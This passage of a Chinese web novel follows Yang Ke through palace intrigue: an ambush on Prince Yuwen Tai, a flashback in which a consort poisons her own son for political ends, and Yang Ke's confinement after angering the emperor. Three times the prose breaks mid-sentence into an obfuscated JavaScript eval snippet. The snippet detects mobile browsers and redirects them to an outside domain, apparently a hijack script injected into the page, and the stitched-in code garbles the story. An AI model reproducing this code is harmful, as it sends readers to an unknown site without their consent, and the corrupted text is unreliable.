杨柯看了看宇文泰的脸色,他露出一丝难过:“白伯伯……” 白韬抬手止住他的话:“泰儿,我明白你的苦衷,”接着叹了口气,“ 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“等白大人到了终南山,我同爹爹说一声,叫他带几幅画过去,兴许你们还能再喝一晚上!” 白韬敞怀大笑:“好,好,到时你也一起来!” 杨柯随即道:“终南山那样的神仙地方,岂能错过!” 又聊了几句,送走了白韬,他们便坐车启程回宫。 车上,杨柯忍不住问宇文泰:“殿下,白大人不是前几日就被烧死了?” 宇文泰挑眉:“那方才同你说话的应该是他的鬼魂?” 杨柯一时语塞,愣了瞬才道:“当时看到尸体,我便觉得蹊跷。可是,若白大人没死,那日被烧死的是谁呢?” 宇文泰缓缓道:“那天我拿到刘生留下的名单后,便派人去了白府,蹲守了整整一天,发现一个行踪诡异的人在白府后院外徘徊。经查实后才知道有人想在第二日放火烧了白家。”他冷哼一声,“既然父皇执意要除掉白伯伯,何不来个将计就计?” “可是朝廷总得见到白大人的尸首才会作罢,”杨柯沉吟一会,又问道:“那替罪羊是谁?” 宇文泰白了她一眼:“小菩萨,别担心了。他们从大理寺随便挑个身形与白伯伯相似的尸体,当晚扔进白府,大火一烧,谁还看得出来?” 杨柯听他这样一番解释,也只是大概描述了其中经过,还有不少曲折是宇文泰故意略去的。到目前为止,她才发现,在他羲王的眼里,自己依然是个局外人,这样下去,何时才能真正地帮到师父? 宇文泰见她紧皱眉头,随即面露疑色。 杨柯立即张口,佯装感叹:“这年头,要保个小命也挺不容易的。” 他转回头去,略一扬眉:“身处权力中心,难免如此。” 杨柯无奈地摇摇头,叠起手臂,趴在窗框边,望着路边的风景发呆。风卷起帘子,有一搭没一搭地拂在她的脸上,宇文泰的声音顺着帘子飘来:“等到风波平息,我便向父皇请旨,放你回家。” 62.往事 马车行至京郊荻花道,满天的艳红裂成了一片一片,倾盖到大地上。道路旁的乱草枯而未倒,大风刮过,荡漾成浪。 马车外的侍卫禀报道:“殿下,前方五里便是——”话还未说完,宇文泰脸色骤然一变,猛喝一声:“趴下!” 杨柯还陷在他方才的承诺里,听言迅速向前俯身,头顶“嗖”地刮过一道劲风! 一个侧头,只见宇文泰向她飞扑过来,抱着她往马下翻滚,耳边乍现他雷霆般的喝叱:“有刺客!” 亲卫统领翔宇一声怒吼:“护驾!”他铁盾刚举过头顶,数十支飞箭“噗”“噗”钉入盾面,火星霎时炸开。 紧接着,一排黑衣人如同毒蝎从原野中弹射而出,佩刀出鞘时挟着森冷杀意,混着铁锈腥气扑面而来。 “呼——呲!”破空声擦过耳际,杨柯还未及反应,便听见身侧传来箭矢扎入人肉的声响。她抬首一看,只见宇文泰眉头紧蹙,右肩迅速蹿红,“殿下!” 他们身旁的马挡住了飞来的弩箭,箭簇毫不留情地刺穿马肉,辕马发出垂死的悲鸣,温热的血雨倾泻如注。 此时弩箭已尽数射完,宇文泰单膝跪地,额前碎发被冷汗黏在苍白的脸上。他撑着身子站起,伸手背后,猛地抽出背上的箭矢,闷哼一声,胸口的殷红霎时扩了一片。 忽然,他伸手拔出身侧的佩剑,向着草丛狠掷过去——野草间一人骤然暴起,佩刀刚出鞘三寸,整条右臂已带着飞溅的血花被生生斩断。 “殿下!”翔宇踹飞身前最后一名刺客,三步并作两步疾冲而来。 其中一名侍卫见了宇文泰右侧的大片血印,惊呼道:“殿下中了箭!” 宇文泰抬手冷静道:“查出刺客身份没有?” 那侍卫答道:“回禀殿下,刺客皆被击毙,他们身上除了衣裳外,没有任何私人的物件。” 宇文泰接着问道:“来了多少人?” “只有八名!” 另一个侍卫疑惑道:“就来了这么几个?” 来人虽少,但出手狠辣歹毒,且皆是冲着要害而来,杨柯脱口而出:“他们是死士。” 气氛顿时凝了下来,宇文泰的脸上毫无波澜,他的视线却转向唯一一个活口——不远处草丛里,那个被斩断右臂的刺客正蜷着身子往阴影里缩。 “留活口!”宇文泰暴喝一声,可话音刚落,那人忽然咧嘴,刀刃已划过脖颈。 亲卫急奔上前检查此人的身体,喉管断裂的气泡声正混着血沫喷将出来。 “殿下,这人是刘冲旧部。”亲卫掀开刺客衣领,露出胸前狰狞的刀疤,“刘将军死后,他便从刘府消失了,没想到竟成了死士。” 宇文泰微微皱眉,低声开口道:“此事……保密。” 杨柯这才发现,他唇色已经泛出不正常的青黑。她直觉不好,刚要准备唤人,却见宇文泰忽然踉跄半步,眼中精光骤散,整个人直挺挺地栽了过去。 那弩箭簇上均淬了剧毒,黑血顺着宇文泰臂弯不断渗出。众人不敢耽搁,当即将他抬上快马,扬鞭疾驰向二十里外的逍遥居。所幸石介大叔医术高明,及时为宇文泰刮骨疗伤,灌下解药,免去了他的生命危险。 林骞坐于塌前,担忧地凝望着宇文泰:“二哥身上还有当年打仗时留下的旧伤,也不知道这回的毒能不能彻底清除干净。” “放心吧,小骞子。”杨柯扯出个笑脸,“殿下福大命大,死不了的,连阎王都不敢收他呢。” 林骞听言转头,神情古怪地看了她一眼。 杨柯慌忙改口:“我是说……殿下命硬,什么困难都能挺过去。” 半晌,林骞才轻声开口:“或许……这样也好。他总说要做那个‘永远醒着的人’,如今倒能睡个安稳觉了。” 窗外忽然掠过夜莺的啼叫,婉转啼声却透着几分幽凉,穿透了沉沉的夜幕。 杨柯望着榻上闭目沉睡的宇文泰,忽而开口问道:“小骞子,有件事从前依稀听人提起过,但我弄不明白,你和殿下是一母同胞的兄弟,可为何你在逍遥居长大,而殿下却在皇宫中生活?” 林骞垂下眼眸,拨弄着案头药炉,铜炉里的药草燃出轻烟,在他眼底织出一层薄雾。良久,他才低低开口:“那个地方,容不下我们两个。” “我曾听丽妃提起过,”杨柯探了探他的神情,声音放轻,“好像与宸妃娘娘有关?” 药炉里的火星“噼啪”炸开,林骞已经转身望向沉睡的人,眼神渐渐变得悠远:“的确如此。只是这段往事,已经尘封了十年。” 十年前,景泰宫内,烛影摇红。 “娘娘,不好了!”檀若快步从殿外踱步进来,宸妃正在案前练习书法,雪白的宣纸上写着一个“慈”字。 宸妃缓缓搁下笔,用袖口轻轻拂过宣纸褶皱:“檀若,你跟着本宫这些年,怎么还没学会收敛性子?” “奴婢知道不该慌,但此事非同小可呀娘娘,”檀若急得眼眶发红,见宸妃手上动作一顿,又继续道:“易望林和宫询联名上疏,说要变法,革了将军的兵权!” 宸妃忽然沉默了下来,冷冷道:“慌什么?天还没塌呢。” 檀若轻呼了一口气,压低了声音:“那个瑾妃才刚咽气没几个月,眼看着柔然要跟咱们大夏打起仗来,这两人——” “住口!”宸妃骤然抬眸,眼中愠怒,“瑾妃的事也是你能议论的?即使在景泰宫里,也不要乱说!” 檀若脸色一变,立即跪下:“娘娘息怒!” 宸妃收敛了怒意,转身望向窗外,暮色正一点点吞噬远处的宫墙,“檀若,你说,他们为何偏要做章家的拦路虎?” “是啊,易望林和宫询明明已经权势滔天了,这大夏朝里,谁敢不听他们的?”她低声抱怨,“连将军都跟他们避而远之,为何非要跟咱们过不去?” 宸妃轻叹一声:“本宫竟忘了,欲壑难填这四个字。”她指尖轻抚鎏金穿戴甲,“文官掌笔,武将掌刀。即使他二人权柄再大,但也只是文官。若想攥紧这万里江山,首先要拔掉的就是章家这根钉子。” 檀若道:“这两个人,连一刀一枪都未曾碰过,怎能轻易撬动咱们的东西?” 宸妃敛眸沉思,并不说话。 檀若又道:“奴婢不明白,陛下难道会放任他们如此明目张胆地内斗?” “陛下当然清楚。”宸妃轻轻抬眼,窗棂在她眼底投下蛛网般的阴影,“对陛下来说,收紧皇权才是万钧之重。用文官制衡武将,再用武将钳制文官,这是他惯用的手法。他既想借宫易之手削我章家兵权,又怕这两个老东西笔尖太利,扎破了他的龙袍。” “可两边都要压,哪有那么容易?”檀若拧着帕子发愁,“若依了变法,将军兵权被夺,那俩老头岂不更如鱼得水?若不依,章家手里还是握着真刀真枪呀。” 宸妃深叹了口气:“傻丫头,若否决变法,不过是让文官记恨、武将坐大,陛下能得到什么?” 檀若苦着脸道:“若是采纳,咱们岂不是就……” 宸妃抬手按住眉心,忽然轻笑一声:“柔然十万铁骑压境,章家却在这时候被夺兵权。鸟尽弓藏的道理,易望林不会不懂。可他们偏要在这节骨眼上动手。” “娘娘此话怎讲?” “既然想抢,让他们抢便是。”她忽然转身,从多宝阁上取出一匣青瓷茶罐,“去告诉将军,就说宫里的腊梅开了,本宫想邀他明日申时三刻,来赏梅品茶。” 皇帝果然如宸妃所料,采纳了变法。但不知为何,朝中舆论四起,有传言称,此时柔然大军压境,漠北战事在即,宫易二人推行变法,实为受已故瑾妃买通,暗中勾结柔然势力,意图瓦解大夏军权。虽然瑾妃已薨逝良久,此等传言荒诞不经,但三人成虎、积毁销骨,何况帝王本就多疑,面对满城风雨的流言,自然起了猜忌。 厝火积薪之下,唤起皇帝的杀心,只差关键一炬。 “娘娘,天象的卦辞已经拟好,钦天监明日便按您的意思呈给陛下。”檀若呈上三道朱砂符的黄绢,此时房内众人皆已被屏退。 宸妃拨弄着护甲上的东珠:“很好。记得将‘紫微星垣异动,主皇嗣惊变’写在最前,后面再缀上‘变法触怒天意,破军星犯紫微’。” “奴婢已经交代给了大人。” 宸妃满意颔首,又忽然抬眼:“还有,字要写得越玄奥越好,让陛下觉得是上天警示。” “明白。” 宸妃并不知道,此刻,七岁的宇文麟正趴在窗框上,睫毛上还沾着未干的奶渍,额头上的绒毛被夜风撩得微微轻摆。他攥着怀里褪了色的钟馗娃娃,看见檀若姑姑从怀里掏出个羊脂玉匣,开盖时闪过一点猩红,他眼睛一亮,因为那红丸子像是他和哥哥最爱吃的冰糖葫芦。 “这么快便做好了?”宸妃惊讶道。 “娘娘吩咐的,他们岂敢怠慢?”檀若见宸妃脸上露出迟疑,接着道:“您确认,要给三殿下服下这药吗?”檀若的声音不禁颤抖起来,“毕竟三殿下才……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596986|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不入虎穴,焉得虎子。”宸妃脸上无半点波澜,“若麟儿不死,陛下岂会轻易相信天象警示?又岂会信易望林的变法触怒上天?” 宇文麟只听到“死”这个字,他只是忽然感到一阵害怕,但额娘的话却让他听不明白。 “可殿下毕竟是您的孩子。” “檀若,亲手杀死自己的儿子,我何尝不心痛?但章家不能就这么让他们打倒了。” 宇文麟感觉自己成了手里的钟馗娃娃,被无数个小鬼抓住了后颈,僵在原地动弹不得。他咧着嘴,想喊额娘,却和娃娃一样,发不出任何声响。 隔着红木窗棂的缝隙,他眼巴巴地望着额娘的侧影,目光也跟着宸妃的手移到了玉匣子里的红色药丸上,看着她的手指抚过匣盖,那熟悉的温柔触感,与每天夜里,她抱着自己讲故事时一模一样。 这时他才反应过来,要杀他的,正是面前的额娘! 宇文麟想爬起来逃跑,可双腿却像在噩梦中一样,半步都无法迈出。 他只能隔着窗缝,翕动嘴唇:“额娘……我怕疼……” 可雕花窗棂后的人甚至没有回头。 一阵冷风刮过,宇文麟打了个寒战,他的恐惧也暂时被挪开了——他脑子里唯一的念头,只有逃出景泰宫。 他眼前灰蒙蒙一片,辨不清瑞麟殿方向,只能咧嘴大口喘气,眼泪大颗大颗往下掉,却仍旧不敢发出半点声响。 “麟儿?”哥哥宇文泰的声音忽然在他身侧响起。 宇文麟呆望他片刻,忽然哇地一声哭了出来,浑身止不住地发颤:“哥……救我……” 宇文泰急忙蹲下,擦去他脸上的泪:“发生了什么?” 宇文麟抽咽着道:“额娘……额娘要杀了我……” 宇文泰脸色大变:“胡说!是哪个混账告诉你的?” 宇文麟急促道:“没有!我听到……额娘说,要给我吃药……让我死。” “怎么可能?额娘怎么会……”宇文泰脸色惨白,喃喃自语。 “哥,我不想死……”见宇文泰木然不动,宇文麟哭得越来越厉害,拉扯着哥哥的衣袖。 宇文泰脸上忽然肃然了,但他的语气中仍在颤抖:“麟儿,额娘要给你吃什么药?” 宇文麟一个劲儿地摇头:“我不知道……我不知道……” “麟儿乖,别怕,别怕,哥哥来想办法。”宇文泰扶住他颤抖的肩膀,将他抱入怀中,“你还记得,额娘的药长什么样子吗?” 麟儿的情绪随着他的声音渐渐缓和:“我看到……看到一个玉匣子。” 宇文泰柔声道:“嗯,玉匣子和药都是什么颜色?” 麟儿一边抽咽,一边回忆:“玉匣子上头有龙纹,那个药是红色的,很像冰糖葫芦。” “好,”宇文泰擦去他的眼泪,“麟儿放心,有我在,你不会死。” 宇文麟只记得,那一日,天上和地上都是灰扑扑的,但只有哥哥是彩色的。 哥哥牵着他回到了瑞麟殿,陪着他入睡。 躺在床上时,他心里还在想,或许额娘只是气他生病,她说的“吃药”,也只是治风寒的苦药汤? 可这样的幻想在第二日就碎了。 一大早,檀若姑姑便来了瑞麟殿。 “麟儿,过来。”走进景泰宫,额娘正坐在榻上向他招手,可他一眼便看见了那个玉匣子。 “大夫说你感染了风寒,头还疼吗?”说着把手覆上了他的额头——那是他最爱的母亲的手,将他带到了这个世界,如今却要再亲手将他带走。 “怎地不说话?”宸妃嘴角仍挂着笑,眼角细纹里却凝着宇文麟看不懂的东西。 麟儿摇着头,眼泪几乎夺眶而出:“额娘……麟儿以后都听话……” 宸妃抚了抚他的头:“傻孩子,额娘不会怪你,”她捻起玉匣里的丹药,递到麟儿跟前。 麟儿下意识退后了一步,怯怯地问:“额娘,可不可以不吃?” 宸妃扬起一个笑,放在他肩上的手挪到了后颈,按住他的动作轻柔却不容抗拒:“吃了药便好了,睡一觉就没事了。” 他不说话了。只是听话地张开嘴巴,药丸苦涩的味道迅速蔓延开来,并不像冰糖葫芦一样好吃。 哥哥教过他,让他听额娘的话,乖乖吃下药,睡一觉,自己就会醒来,什么事也不会发生。 他相信哥哥,但他依然恐惧,依然想要挣扎。但很快,他还未来得及再去看额娘最后一眼,黑暗已经如约而至。 63.冒犯 杨柯听完他的讲述,只觉浑身颤栗,头皮发麻:“为何最后你会在逍遥居?” 林骞淡淡道:“服用过丹药后,我只会暂时昏睡过去,和死人并无二致。下葬前,二哥已经拜托石大哥将我的身体偷偷调换出去,等我醒来,人已经在逍遥居了。” 杨柯听言,忽而想起自己体内的牵机丸——即便过了十年,宸妃的伎俩也依旧未变。 她还在哀叹小骞子的遭遇,可这回,又有谁来拯救她呢? 杨柯心中只感觉深深的无力,于是叹道:“当年丽妃临死之前,提起过关于你和宸妃的秘密。我在那时并未细细去想,原来丽妃所说一点不假,宸妃果真心狠。” 林骞恻然一笑:“她的眼里,只有权力。”兴许是察觉到杨柯的神情也低落了下去,他语调微扬,“二哥将我送出宫后,我便跟随石大哥生活,更名为林骞。自此挣脱了皇宫的樊笼,获得了自由。这样看,也算是幸运吧。”他的话音忽而低哑,“可是二哥却替我扛下了一切。” 凝望着宇文泰沉睡的侧颜,杨柯心中千般万般思绪滚过,最后皆化作心疼,沉甸甸地压在胸口。 林骞将她的神色尽收眼底,眸中闪过一丝暖意。为缓和气氛,他轻咳一声,继续道:“宇文麟死后,皇帝的怒火被成功点燃,他不顾群臣劝阻,罢免了宫易二人的职位,最后终于闹得两败俱伤的下场。” “其实皇帝乐见其成。”杨柯冷笑道。 林骞神色淡然,微微颔首:“不错。他借此事,如愿打压了二人在朝中的势力,但章满的兵权却得以保全。事后,章满被派往西北。大家心里都清楚,大夏和柔然打了那么多年,从前有江将军等一众良将,也不过换来暂时的和平。如今光靠章满一人,这一去,说是戍边,实则与发配无异。不过世事难料,后来章满在西北屡建奇功,反为章家重新博得圣意,那也是后话了。” 杨柯眉头微蹙,又关心道:“那殿下呢?” “我走了以后,二哥无法面对宸妃和皇帝,主动请缨随章满前往西北军营,一呆就是七年。后来,易望林和宫询设计恢复官职,重新在朝中培植势力,伯喻就是他们最关键的一颗棋。伯喻辅政三年,顺利掌管户部大权。眼看易氏在朝中声势渐旺,章满也将二哥送回京城,后来就是你我知道的情况了。” 次日,宇文泰仍留在逍遥居,由林骞照料,等待他醒转过来。杨柯回到宫中,正忙着整理昨日堆叠成山的奏折,门前忽然传来一阵急促的脚步声。 抬头一看,是小云子跑了过来。 “小云子,有什么事?” 小云子是杨柯从凌薇苑带来的小内监,刚进宫便跟了她,如今嘴上的胡子都还没长齐,毛茸茸的挂在唇上。不过这孩子也是极伶俐的,来了也就一年半载的功夫,便和宫里的上上下下混得极熟。 “姑娘,陛下待会儿要召见,”他脸上带着担忧。 杨柯感到奇怪:“什么事?” 他道:“听李公公说不是什么好事,陛下正气着呢,姑娘您过去了,说话千万要当心啊。” 杨柯悬着半颗心,面上仍作镇定,点头应下,起身随他走出去。几步路的功夫,便见李公公匆匆赶来。 杨柯装作惊讶,含笑道:“李公公,怎么劳您亲自过来了?” 李福瑞也朝她堆笑:“杨大人,有请去一趟御书房。” 杨柯眼珠微转,试探着问:“莫不是陛下得了什么新奇的诗作?” 李公公为难道:“姑娘去了便知。”他凑近俯首,低声补了一句,“万圣爷火气甚大,姑娘说话务必收敛些。”说罢,冲她意味深长地点了点头。 既然小云子和李公公都这么嘱咐了,此行定是凶多吉少。 杨柯定了定神,回道:“有劳李公公提醒。咱们这便去吧。” 二人行走了半柱香的功夫,最终穿过一道黑漆大门,来到了勤政殿前的方场上。 天色渐晚,乌云密布,穹顶之下,一派苍灰。 举头是泼墨浓云沉沉地砸将下来,俯首是大理石铺就的方场惨白得无边无缘,一个天,一个地,压得中间的武华殿好似喘不过气来。 所幸有人在。 视线里,四个太监整整齐齐地立在中央跸道上的四角上,手握着足有拳头粗的暗红色廷杖,将一个身着官服的男子围住。 见了前方的阵仗,他二人皆定住了脚步,杨柯问道:“公公,那是何人?” 李公公道:“钦天监监正韩云逍。前几日钦天监得了个天象,韩大人隐瞒不报,今日陛下得知此事,召他问对。这韩大人实在刚直,说是为了社稷安危才迟迟不报,你说这不是明摆着替陛下做主?陛下听了果然盛怒,当庭便道,‘何时大夏成了你的社稷?’就连案上的莲花童子玛瑙洗也摔得稀碎。” “钦天监得了什么天象?” “荧惑守心。”话音刚落,骤然刮过一阵强风,群鸦惊飞四散,凄厉的叫声回荡在半空。 “荧惑守心”,即“荧惑”之星在“心宿二”星附近徘徊,有意取代心宿二的地位。此天象在星占学说中历来被视为“臣犯君、下僭上”的大凶之兆。一旦现世,朝野坊间必起汹汹议论,轻则人心惶惶,重则动摇国本。韩大人这样考虑,其实并无不妥,只是他太小瞧了朝中鼠辈煽风点火的本事,也太小瞧了这位圣上的猜忌之心。 忽然,四名太监行动起来,将廷杖对准了韩云逍。两根猛地击向他的后腿弯处,迫使韩云逍立刻跪倒在地。紧接着,另两根冲着他的小腹击去,霎时,他原本挺立的上身也无力地软倒。四名太监迅速用脚踩住了他的手背和脚踝,将他牢牢地固定在地上,形成了一个大大的“人”字。 “杨姑娘,咱们还是快去面见圣上吧。”李公公突然低声提醒。 杨柯浑身一颤,陡然醒转过来,点点头,茫茫然地跟着他继续往前走。 还没走出几步,她便听见廷杖猛击身体的闷响,还有血液从七窍中喷出的噗噗声,忽地想起小时候在河边听到浣女敲击石板上湿衣的声响。转头一看,韩大人被两根廷杖支起了上半身,下半身被直直地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603060|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曳在后面,脑袋却软软地垂着,整个身子像是戏班子里用废了的皮影。 四名太监拖着他,不知道要拉去什么地方。血迹在雪白的地上延伸,浓烈得厉害。 “杨姑娘,咱们到了。”李公公的声音忽然在身侧响起,杨柯才调转回头来,发现已经走到了勤政殿门前,心头突然窜出一股恐惧。 杨柯躬身行礼:“多谢李公公带路。” 掀帘进去,皇帝坐于正中的紫檀木长案上,案上堆满了账册文书、纸墨笔砚。头顶上方悬挂着一副中堂,上面用颜体楷书写着八个大字:“兼听则明、偏信则暗”。长案两侧,是两尊大白云铜的炉子,炉子周围竟没有一丝烟,原来里面烧的是西山银炭。 “参见陛下。”杨柯微微福身行礼,皇帝闻言从纸墨里抬起了头。 他指着木案右首的绣墩道:“坐。” 杨柯推托道:“臣第一次来御书房,还是用站立以表对陛下之尊崇与礼数更为妥当,望陛下见谅。” 皇帝的脸上没有波动,只是道:“好,随你。” 杨柯问道:“不知陛下召臣来,是有要事相商,还是有旨意垂询?” 皇帝给了边上的公公一个眼色,递给他一封文书,那公公立即接过,向她走了过来。 杨柯接过文书,只听皇帝道:“柯儿,朕只知你会作诗跳舞,没想到文章也写得不错。” 她谦笑道:“陛下过奖了,身为羲王殿下的伴读,习得些文墨也是分内之事。” “羲王?”皇帝的脸色忽显凌厉,“是他教你写的这篇文章?” 杨柯心下一惊,连忙解释道:“臣不知陛下何出此言,臣对陛下忠心耿耿,羲王殿下亦是对陛下敬重有加。” 皇帝冷哼一声:“忠心耿耿?敬重有加?”他手上珠串一甩,“好好给朕看看,你都写了些什么!” 杨柯低头一看,竟是入宫前,师父让她写的那篇《明堂火珠赋》! “‘明堂之上,火珠璀璨,犹若国之明珠,但需明君持之,方能照亮四方。然火珠之光辉,亦需清理尘垢,方能持久不灭。’好个“明君持之”,好个“清理尘垢”!如今韩云逍测出‘荧惑守心’,那这颗火珠是不是该听天意、换主人了?” 杨柯喉间发紧,连忙道:“陛下,此句不过是就物论物,与朝政无关,更不敢与天象牵扯啊。” “牵扯?”皇帝怒目而视,“你是说,是朕在妄加揣测?” “臣不敢!”杨柯扑通跪下,“陛下,臣不知他们向陛下说了什么,但臣知道,无论是韩大人故意隐瞒天象,还是臣的文章,皆出于为陛下分忧的考虑。韩大人刻意隐瞒,是为了不让凶象之说轻易被奸人利用、动摇国本,无论是‘清理尘垢’,还是‘明君持之’,皆意在提醒陛下,时刻保持清明,不受奸佞之臣的蒙蔽。” 皇帝忽而沉默,手上佛珠转出沙沙轻响。他语气渐缓,却似藏着钩子:“放心,朕不会轻信。但满朝文武皆言,有人借天象私议朝政,朕瞧着,你这几句,好像对此事格外上心?” 64.掖庭 杨柯心间一紧,皇帝这句话分明是把她往火堆里引——若此刻她为“私议”的韩云逍辩白,便是默认朝堂存在妄议之声;若直言韩云逍该罚,那她岂不是站在了宵小之徒的一边? 杨柯只觉心底有一股强力拼命将她往黑暗中拽去,但她知道,一旦松了这口气,便要脏了这颗心。于是抬眼坦切道:“还请陛下明察,臣与韩大人素无交集,对天象之说更是一窍不通。只是念及言官本当直言,若因一句话便遭重责,恐寒了忠臣良将的心。” 皇帝手中佛珠串“啪”地绷直,俯身向前,视线直逼杨柯:“朕何时说要重责韩云逍?” 杨柯脊背渗出冷汗,叩首在地:“恕臣愚钝。只是来时路上,臣瞧见韩大人……” “瞧见什么?”皇帝追问道,佛珠在掌心碾出急促的声响。 “韩大人被杖责致死。”杨柯咬唇道,“陛下向来宽宏,无论韩大人所奏是对是错,总该容人说话,何必因一句谏言便要重责?” 皇帝蓦地起身:“朕赏了他一百廷杖,不过让他醒醒脑,你倒说朕要取他性命?” 杨柯忽而感到一阵恶心,她强压下心中不适,不疾不徐道:“或许陛下一时之间难辨忠奸,听信了佞言。臣自然希望陛下能以此为鉴,广开言路,勿使忠良之士寒心,更勿让奸佞小人得逞。” 皇帝沉默片刻,佛珠转动之声戛然而止:“杨柯,朕问你,若朕乃昏聩之主,轻易听信小人,那朕这江山,又怎能稳固至今?” 杨柯挺直脊背:“臣并非有意指摘陛下。只是大厦将倾,非一木可支;江山稳固,亦非一人之功。无忠臣良将,就无大夏江山。可若陛下执意坚信他人的一面之词,恐怕会伤了忠臣的心。” 皇帝脸色阴沉,目光如矛,似要剜进她的眼里:“无忠臣良将,就无大夏江山?你当真这么想的?” “旧有凌渊阁十二功臣,今有六部骨鲠之臣。”杨柯叩首在地,“若无他们,若无万千官员鞠躬尽瘁,大夏何以为大夏?” 皇帝怒得将佛珠猛掷在案上:“荒唐!”他猛然抬手,怒指杨柯,“朕再给你一次机会,好好斟酌言辞——” 杨柯毫不避讳地直视回去:“臣所说句句肺腑,无半分虚言。” “好!”皇帝嘴角抽动,忽然冷笑,“来人!将这狂悖之臣押进掖庭,检思言行,闭门省过,三日后朕再来问你!” 杨柯被几个侍卫一路押着,穿过长满野草的小径,弯弯绕绕地,终于到了大名鼎鼎的掖庭。 “旧香残粉似当初,人情恨不如。一春犹有数行书,秋来书更疏。衾凤冷,枕鸳孤,愁肠待酒舒。梦魂纵有也成虚,那堪和梦无。”宫墙内传来女子的歌声,这段唱词杨柯曾在紫英阁听过,唤作《阮郎归》,那时元英执扇轻唱,眼波流转似含春水,将“盼郎归”三字唱得甜腻欲滴,直教满堂宾客掷杯喝彩。可如今这声音听来断断续续,夹杂着哭咽,歌喉薄脆脆的,映着这厚重的宫墙,越发显得尖利。 她心里感到一阵哆嗦,抬头望去,数丈高的红墙平地而起,压得人心头直发慌。 这会儿她才明白为何宫墙都要建这么高。 只有高了,才能挡住里头的哀怨和凄苦,与龙气鼎盛的皇宫彻底隔绝。可这块晦气地儿从建宫之初起便缺不了,像是绝症病人肋间那颗甩不掉的瘤子。想到此,皇帝吹胡子瞪眼的模样又浮现出来,杨柯不禁笑出声。 “都要被关进掖庭了,还笑得出来?”身后一个侍卫嗤笑道。 杨柯朗声道:“掖庭又如何?居陋室,食瓢饮,我也不改其乐。” 两个侍卫对视一眼,捧腹大笑:“真是个书呆子!” 杨柯被推搡着到了偏殿的一间厢房前,“呆子,快进去吧。”侍卫伸手冲杨柯的背上用力一推,她跌跌撞撞地绊了进去,差点儿没摔个狗吃屎。 “砰!”身后的门一关上,屋里的光线登时暗了下去,一股潮湿的霉味扑鼻而来。 “怎么被打入掖庭也落不着个朝南的屋子?”杨柯嘀咕着望了一圈。 这房屋朝西,常年晒不着太阳,混杂着霉味的阴冷气息一见了人便从屋内的角落里窜了出来。 她打了个冷战,撑着手从地上爬起来,透心凉的地板沁得她浑身又是一颤,赶紧将手缩进袖子里。幸好今日出门时穿了件厚实的袄子,里面还有青桃硬塞的绒里子。 这屋子也实在太干净了些。除了一把椅子,一张桌子,一架木床,再无他物。所幸那木床上还有床褥被子,不至于晚上和冷风作伴。不知道的还以为是大理寺的审讯室,就连那儿的墙上也还有铁锁和骨头,但这屋子可以说是“家徒四壁”。 “这是给死人预备的净房吧。”杨柯踢了踢桌腿,木桌发出嘎吱的声响,惊动了梁上一只瘦老鼠。 天色已经渐黑,还是想点儿法子怎么过夜吧。 杨柯走到床前铺开被子,灰尘顿时飞满天。她赶紧捏住鼻子,跩着被角使劲甩净。好不容易折腾干净,她脱了鞋,爬进被褥里,搓手搓脚,须臾便有了暖意。 也许是身子躺在了床上,脑子便清净了下来。 杨柯怎么都没想到,当时在师父跟前信口胡诌的《明堂火珠赋》,竟能被人添油加醋、设计陷害至此!这皇宫,真真是如履薄冰,打个嗝说不定也会被人造谣成恶鬼缠身,冲坏了皇家龙运。 也许是去勤政殿前吹了太多冷风,杨柯此刻捂在被子里,脑子竟有些晕乎乎的,闭上眼休息一会儿,不知不觉地便睡去了。 “姑娘,姑娘!” “是这儿吗?” “是啊,没弄错。” 迷迷糊糊听见青桃和杜衡的声音,杨柯费力地睁开眼睛,脑袋仿佛像被炭熏过一般又烫又疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603061|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “姑娘!”青桃的声音大了些,两人影子在门上晃成两只蹦跳的小雀儿。 杨柯按着太阳穴喊道:“我在这!在这!” “是她的声音!” “怎么没见人呢?” “怪了,位置没错啊?” 杨柯掀开被子下床,走到门边才发现两人摸去了隔壁,无奈敲了敲门框:“西边!在这儿!”她俩闻声,影子立即挪了过来。 “姑娘冷不冷?他们给吃的没?”青桃的声音隔着窗户纸透进来。 杨柯琢磨片刻,要说冷倒也不算冷,若能多点儿被褥当然更好。她凑近闻了闻昨晚的馒头,被嗖味熏得一激灵,幸好没吃——这地方连个净桶都没有,若是窜稀岂不是更遭罪。 此刻杨柯胃里饿得犯抽抽,她扶着墙缓了缓,扬声回道:“给我捎些厚衣裳,再把那双絮了棉的鞋底拿来,对了,多带些枣泥糕。” 杜衡和青桃应声答应,一一记了下来。 “你们如何进来的?”杨柯透着门缝觑着二人影子,“掖庭向来不许旁人擅入呐。” 杜衡压低声音道:“我们花了几两银子买通了看门的小骏子。” 